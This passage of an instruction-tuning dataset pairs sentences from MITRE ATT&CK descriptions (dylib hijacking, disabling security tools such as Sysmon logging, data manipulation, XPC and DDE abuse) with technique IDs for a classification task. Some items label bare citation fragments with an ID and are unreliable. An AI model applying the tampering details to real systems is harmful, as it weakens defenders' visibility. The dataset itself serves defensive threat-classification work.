"text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "output": "T1137.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms) ### Response: T1137.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This typically results in the dylib being in the same folder as the application itself.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This typically results in the dylib being in the same folder as the application itself. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Writing Bad Malware for OSX)", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Writing Bad Malware for OSX) ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Malware Persistence on OS X)", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Malware Persistence on OS X) ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be used by adversaries as a privilege escalation technique.", "output": "T1157", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be used by adversaries as a privilege escalation technique. ### Response: T1157."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also tamper with artifacts deployed and utilized by security tools.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also tamper with artifacts deployed and utilized by security tools. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security tools may make dynamic changes to system components in order to maintain visibility into specific events.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security tools may make dynamic changes to system components in order to maintain visibility into specific events. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also focus on specific applications such as Sysmon.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also focus on specific applications such as Sysmon. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the \u201cStart\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor. ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", "output": "T1562.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware) ### Response: T1562.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter application binaries used to display data in order to cause runtime manipulations.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter application binaries used to display data in order to cause runtime manipulations. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can provide malicious content to an XPC service daemon for local code execution.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can provide malicious content to an XPC service daemon for local code execution. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections).", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev) ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse XPC services to execute malicious content.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse XPC services to execute malicious content. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation)", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE.", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ADV170021 Dec 2017)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ADV170021 Dec 2017)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost PS DDE May 2016)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost PS DDE May 2016)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kettle CSV DDE Aug 2014)(Citation:", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kettle CSV DDE Aug 2014)(Citation: ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017)", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) ### Response: T1559.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1559.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may infect payloads to execute applications and/or commands on a victim 